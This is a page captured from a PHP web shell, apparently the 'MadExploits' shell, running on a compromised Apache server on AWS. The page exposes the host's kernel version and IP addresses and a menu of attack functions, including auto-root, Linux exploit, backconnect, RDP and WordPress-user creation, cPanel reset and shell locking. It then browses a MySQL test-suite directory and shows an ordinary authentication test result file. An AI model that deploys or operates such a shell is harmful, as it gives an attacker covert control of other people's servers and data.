Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 52.14.238.102
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
auth_sec /
r /
[ HOME SHELL ]
Name
Size
Permission
Action
access_credential_control.resu...
23.21
KB
-rw-r--r--
cert_verify.result
304
B
-rw-r--r--
early_plugin_load.result
789
B
-rw-r--r--
have_mysql_upgrade.result
21
B
-rw-r--r--
have_ssl.require
33
B
-rw-r--r--
install_keyring.result
263
B
-rw-r--r--
install_keyring_file.result
979
B
-rw-r--r--
key_rotation.result
427
B
-rw-r--r--
key_rotation_qa.result
7.57
KB
-rw-r--r--
key_value_auth.result
13
KB
-rw-r--r--
keyring_file.result
479
B
-rw-r--r--
keyring_file_data.result
1.17
KB
-rw-r--r--
keyring_file_data_qa.result
2.66
KB
-rw-r--r--
keyring_udf.result
29.95
KB
-rw-r--r--
multiple_plugins.result
5.46
KB
-rw-r--r--
mysql_native_plugin.result
10.46
KB
-rw-r--r--
mysql_no_login.result
2.03
KB
-rw-r--r--
mysql_protocol_types.result
2.38
KB
-rw-r--r--
mysql_protocol_types_windows.r...
1.93
KB
-rw-r--r--
mysql_sha256_plugin.result
9.84
KB
-rw-r--r--
mysql_ssl_connection.result
202
B
-rw-r--r--
mysql_ssl_rsa_setup.result
1.4
KB
-rw-r--r--
named_pipe_ssl.result
255
B
-rw-r--r--
not_embedded.require
16
B
-rw-r--r--
not_openssl.require
36
B
-rw-r--r--
not_ssl.require
32
B
-rw-r--r--
openssl.require
37
B
-rw-r--r--
openssl_cert_generation.result
7.37
KB
-rw-r--r--
openssl_cert_generation_debug....
577
B
-rw-r--r--
openssl_cert_generation_subjec...
435
B
-rw-r--r--
openssl_cert_validity.result
109
B
-rw-r--r--
openssl_skip_cert_generation.r...
442
B
-rw-r--r--
password_expired.result
16.4
KB
-rw-r--r--
password_expiry.result
8.09
KB
-rw-r--r--
require_secure_transport.resul...
1.49
KB
-rw-r--r--
require_secure_transport_windo...
2.08
KB
-rw-r--r--
secure_file_priv_error.result
358
B
-rw-r--r--
secure_file_priv_null.result
1.08
KB
-rw-r--r--
secure_file_priv_warnings.resu...
876
B
-rw-r--r--
secure_file_priv_warnings_not_...
582
B
-rw-r--r--
secure_file_priv_warnings_win....
454
B
-rw-r--r--
server_withssl_client_withouts...
6.18
KB
-rw-r--r--
server_withssl_client_withssl....
6.08
KB
-rw-r--r--
set_password_deprecated.result
4.76
KB
-rw-r--r--
ssl_auto_detect.result
1.82
KB
-rw-r--r--
ssl_auto_detect_openssl.result
361
B
-rw-r--r--
ssl_mode.result
5.16
KB
-rw-r--r--
tls.result
1.25
KB
-rw-r--r--
tls12_tls1.result
510
B
-rw-r--r--
wrong_keyring_file.result
166
B
-rw-r--r--
wrong_keyring_file_data.result
731
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : access_credential_control.result
======================================================================= Checking the password plugin assignment with create user command ======================================================================= **** Creating user with mysql_native_password plugin select @@session.old_passwords; @@session.old_passwords 0 0 Expected CREATE USER 'Tanjotuser1'@'localhost' IDENTIFIED BY 'abc'; **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password'; SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; **** Validating the plugin names select (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password'; (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password' 1 1 Expected select (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password'; (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password' 1 1 Expected Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; ======================================================================= Checking the password plugin assignment with grant user command ======================================================================= **** Creating user with mysql_native_password plugin set @@session.old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. GRANT usage on mysql.* to 'Tanjotuser1'@'localhost' IDENTIFIED BY 'abc'; Warnings: Warning 1287 Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. GRANT usage on mysql.* to 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password' BY '123'; Warnings: Warning 1287 Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; **** Validating the plugin names select (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password'; (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password' 1 1 Expected select (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password'; (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password' 1 1 Expected Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; ======================================================================= Checking the functionality and integrity of the DROP user command ======================================================================= **** Creating user with mysql_native_password plugin set @@session.old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser1'@'localhost' IDENTIFIED BY 'abc'; **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password'; SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; Connecting a session each with the above 3 users dropping the above 3 users with each having a open session Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; Now trying opening a new session for the above dropped user ERROR 28000: Access denied for user 'Tanjotuser1'@'localhost' (using password: YES) ERROR 28000: Access denied for user 'Tanjotuser3'@'localhost' (using password: YES) Accessing the open sessions for the above dropped user select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost ======================================================================= Checking the privellages post renaming the user ======================================================================= **** Creating user with mysql_native_password plugin set @@session.old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser1'@'localhost' IDENTIFIED BY 'abc'; **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password'; SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; **** Validating the plugin names select (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password'; (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password' 1 1 Expected select (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password'; (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password' 1 1 Expected select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost **** Validating the integrity of the rename user command RENAME USER 'Tanjotuser1'@'localhost' to 'user1'@'localhost'; RENAME USER 'Tanjotuser3'@'localhost' to 'user3'@'localhost'; **** Validating the plugin names select (select plugin from mysql.user where User='user1' and Host='localhost')='mysql_native_password'; (select plugin from mysql.user where User='user1' and Host='localhost')='mysql_native_password' 1 1 Expected select (select plugin from mysql.user where User='user3' and Host='localhost')='sha256_password'; (select plugin from mysql.user where User='user3' and Host='localhost')='sha256_password' 1 1 Expected **** Validating the user connections post renaming select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost ERROR 28000: Access denied for user 'Tanjotuser1'@'localhost' (using password: YES) ERROR 28000: Access denied for user 'Tanjotuser3'@'localhost' (using password: YES) select user(), current_user(); user() current_user() user1@localhost user1@localhost select user(), current_user(); user() current_user() user3@localhost user3@localhost **** Disconnecting the open sessions and dropping the created users Drop user 'user1'@'localhost'; Drop user 'user3'@'localhost'; ======================================================================= Checking the privillages with grant user command ======================================================================= **** Creating user with mysql_native_password plugin set @@session.old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. GRANT select on mysql.* to 'Tanjotuser1'@'localhost' IDENTIFIED BY 'abc'; Warnings: Warning 1287 Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. GRANT select on mysql.* to 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password' BY '123'; Warnings: Warning 1287 Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; **** Validating the granted privilleges select plugin from mysql.user where user='Tanjotuser1' and host='localhost'; plugin mysql_native_password mysql_native_password Expected select plugin from mysql.user where user='Tanjotuser3' and host='localhost'; plugin sha256_password sha256_password Expected **** Revoking select on mysql database Revoke select on mysql.* from 'Tanjotuser1'@'localhost'; Revoke select on mysql.* from 'Tanjotuser3'@'localhost'; **** Validating the Revoked privilleges select plugin from mysql.user where user='Tanjotuser1' and host='localhost'; ERROR 42000: SELECT command denied to user 'Tanjotuser1'@'localhost' for table 'user' select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select plugin from mysql.user where user='Tanjotuser3' and host='localhost'; ERROR 42000: SELECT command denied to user 'Tanjotuser3'@'localhost' for table 'user' select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost Grant usage on mysql.* to 'Tanjotuser1'@'localhost'; Grant usage on mysql.* to 'Tanjotuser3'@'localhost'; **** Validating the granted privilleges select plugin from mysql.user where user='Tanjotuser1' and host='localhost'; ERROR 42000: SELECT command denied to user 'Tanjotuser1'@'localhost' for table 'user' select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select plugin from mysql.user where user='Tanjotuser3' and host='localhost'; ERROR 42000: SELECT command denied to user 'Tanjotuser3'@'localhost' for table 'user' select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost **** Validating the granted privilleges Grant All on mysql.* to 'Tanjotuser1'@'localhost'; Grant All on mysql.* to 'Tanjotuser3'@'localhost'; select plugin from mysql.user where user='Tanjotuser1' and host='localhost'; plugin mysql_native_password mysql_native_password Expected select plugin from mysql.user where user='Tanjotuser3' and host='localhost'; plugin sha256_password sha256_password Expected **** Disconnecting the open sessions and dropping the created users Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; ============================================================================= Checking the password assignment using the update command on the user table ============================================================================= **** Creating user with mysql_native_password plugin CREATE USER 'Tanjotuser1'@'localhost' IDENTIFIED WITH 'mysql_native_password'; set @@session.old_passwords=0; UPDATE mysql.user SET Authentication_string=PASSWORD('abc') WHERE User='Tanjotuser1' AND Host='localhost'; FLUSH PRIVILEGES; **** Creating user with sha256_password plugin CREATE USER 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password'; set @@session.old_passwords=2; UPDATE IGNORE mysql.user SET Authentication_string=PASSWORD('abc') WHERE User='Tanjotuser3' AND Host='localhost'; FLUSH PRIVILEGES; select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost set password='abcd'; select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost **** Disconnecting the open sessions and dropping the created users Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; =================================================================================================== Starting the server with default auth as sha256_password and checking the above validations again. =================================================================================================== # Restart server with default-authentication-plugin=sha256_password; ======================================================================= Checking the password plugin assignment with create user command ======================================================================= **** Creating user with mysql_native_password plugin select @@session.old_passwords; @@session.old_passwords 0 0 Expected CREATE USER 'Tanjotuser1'@'localhost' IDENTIFIED WITH 'mysql_native_password'; SET PASSWORD for 'Tanjotuser1'@'localhost' = 'abc'; **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password'; SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; **** Validating the plugin names select (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password'; (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password' 1 1 Expected select (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password'; (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password' 1 1 Expected Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; ======================================================================= Checking the password plugin assignment with grant user command ======================================================================= **** Creating user with mysql_native_password plugin set @@session.old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. GRANT usage on mysql.* to 'Tanjotuser1'@'localhost' IDENTIFIED WITH 'mysql_native_password' BY '123'; Warnings: Warning 1287 Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. SET PASSWORD for 'Tanjotuser1'@'localhost' = 'abc'; **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. GRANT usage on mysql.* to 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password' BY '123'; Warnings: Warning 1287 Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; **** Validating the plugin names select (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password'; (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password' 1 1 Expected select (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password'; (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password' 1 1 Expected Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; ======================================================================= Checking the functionality and integrity of the DROP user command ======================================================================= **** Creating user with mysql_native_password plugin set @@session.old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser1'@'localhost' IDENTIFIED BY 'abc'; **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password'; SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; Connecting a session each with the above 3 users dropping the above 3 users with each having a open session Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; Now trying opening a new session for the above dropped user ERROR 28000: Access denied for user 'Tanjotuser1'@'localhost' (using password: YES) ERROR 28000: Access denied for user 'Tanjotuser3'@'localhost' (using password: YES) Accessing the open sessions for the above dropped user select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost ======================================================================= Checking the privellages post renaming the user ======================================================================= **** Creating user with mysql_native_password plugin set @@session.old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser1'@'localhost' IDENTIFIED WITH 'mysql_native_password'; SET PASSWORD for 'Tanjotuser1'@'localhost' = 'abc'; **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. CREATE USER 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password'; SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; **** Validating the plugin names select (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password'; (select plugin from mysql.user where User='Tanjotuser1' and Host='localhost')='mysql_native_password' 1 1 Expected select (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password'; (select plugin from mysql.user where User='Tanjotuser3' and Host='localhost')='sha256_password' 1 1 Expected select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost **** Validating the integrity of the rename user command RENAME USER 'Tanjotuser1'@'localhost' to 'user1'@'localhost'; RENAME USER 'Tanjotuser3'@'localhost' to 'user3'@'localhost'; **** Validating the plugin names select (select plugin from mysql.user where User='user1' and Host='localhost')='mysql_native_password'; (select plugin from mysql.user where User='user1' and Host='localhost')='mysql_native_password' 1 1 Expected select (select plugin from mysql.user where User='user3' and Host='localhost')='sha256_password'; (select plugin from mysql.user where User='user3' and Host='localhost')='sha256_password' 1 1 Expected **** Validating the user connections post renaming select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost ERROR 28000: Access denied for user 'Tanjotuser1'@'localhost' (using password: YES) ERROR 28000: Access denied for user 'Tanjotuser3'@'localhost' (using password: YES) select user(), current_user(); user() current_user() user1@localhost user1@localhost select user(), current_user(); user() current_user() user3@localhost user3@localhost **** Disconnecting the open sessions and dropping the created users Drop user 'user1'@'localhost'; Drop user 'user3'@'localhost'; ======================================================================= Checking the privillages with grant user command ======================================================================= **** Creating user with mysql_native_password plugin set @@session.old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. GRANT select on mysql.* to 'Tanjotuser1'@'localhost' IDENTIFIED WITH 'mysql_native_password' BY '123'; Warnings: Warning 1287 Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. SET PASSWORD for 'Tanjotuser1'@'localhost' = 'abc'; **** Creating user with sha256_password plugin set @@session.old_passwords=2; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. GRANT select on mysql.* to 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password' BY '123'; Warnings: Warning 1287 Using GRANT for creating new user is deprecated and will be removed in future release. Create new user with CREATE USER statement. SET PASSWORD for 'Tanjotuser3'@'localhost' = 'abc'; **** Validating the granted privilleges select plugin from mysql.user where user='Tanjotuser1' and host='localhost'; plugin mysql_native_password mysql_native_password Expected select plugin from mysql.user where user='Tanjotuser3' and host='localhost'; plugin sha256_password sha256_password Expected **** Revoking select on mysql database Revoke select on mysql.* from 'Tanjotuser1'@'localhost'; Revoke select on mysql.* from 'Tanjotuser3'@'localhost'; **** Validating the Revoked privilleges select plugin from mysql.user where user='Tanjotuser1' and host='localhost'; ERROR 42000: SELECT command denied to user 'Tanjotuser1'@'localhost' for table 'user' select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select plugin from mysql.user where user='Tanjotuser3' and host='localhost'; ERROR 42000: SELECT command denied to user 'Tanjotuser3'@'localhost' for table 'user' select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost Grant usage on mysql.* to 'Tanjotuser1'@'localhost'; Grant usage on mysql.* to 'Tanjotuser3'@'localhost'; **** Validating the granted privilleges select plugin from mysql.user where user='Tanjotuser1' and host='localhost'; ERROR 42000: SELECT command denied to user 'Tanjotuser1'@'localhost' for table 'user' select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost select plugin from mysql.user where user='Tanjotuser3' and host='localhost'; ERROR 42000: SELECT command denied to user 'Tanjotuser3'@'localhost' for table 'user' select user(), current_user(); user() current_user() Tanjotuser3@localhost Tanjotuser3@localhost **** Validating the granted privilleges Grant All on mysql.* to 'Tanjotuser1'@'localhost'; Grant All on mysql.* to 'Tanjotuser3'@'localhost'; select plugin from mysql.user where user='Tanjotuser1' and host='localhost'; plugin mysql_native_password mysql_native_password Expected select plugin from mysql.user where user='Tanjotuser3' and host='localhost'; plugin sha256_password sha256_password Expected **** Disconnecting the open sessions and dropping the created users Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; ============================================================================= Checking the password assignment using the update command on the user table ============================================================================= **** Creating user with mysql_native_password plugin CREATE USER 'Tanjotuser1'@'localhost' IDENTIFIED WITH 'mysql_native_password'; set @@session.old_passwords=0; UPDATE mysql.user SET Authentication_string=PASSWORD('abc') WHERE User='Tanjotuser1' AND Host='localhost'; FLUSH PRIVILEGES; **** Creating user with sha256_password plugin CREATE USER 'Tanjotuser3'@'localhost' IDENTIFIED WITH 'sha256_password'; set @@session.old_passwords=2; UPDATE IGNORE mysql.user SET Authentication_string=PASSWORD('abc') WHERE User='Tanjotuser3' AND Host='localhost'; FLUSH PRIVILEGES; select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost set password='abcd'; select user(), current_user(); user() current_user() Tanjotuser1@localhost Tanjotuser1@localhost **** Disconnecting the open sessions and dropping the created users Drop user 'Tanjotuser1'@'localhost'; Drop user 'Tanjotuser3'@'localhost'; set @@session.old_passwords=default; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release.
Close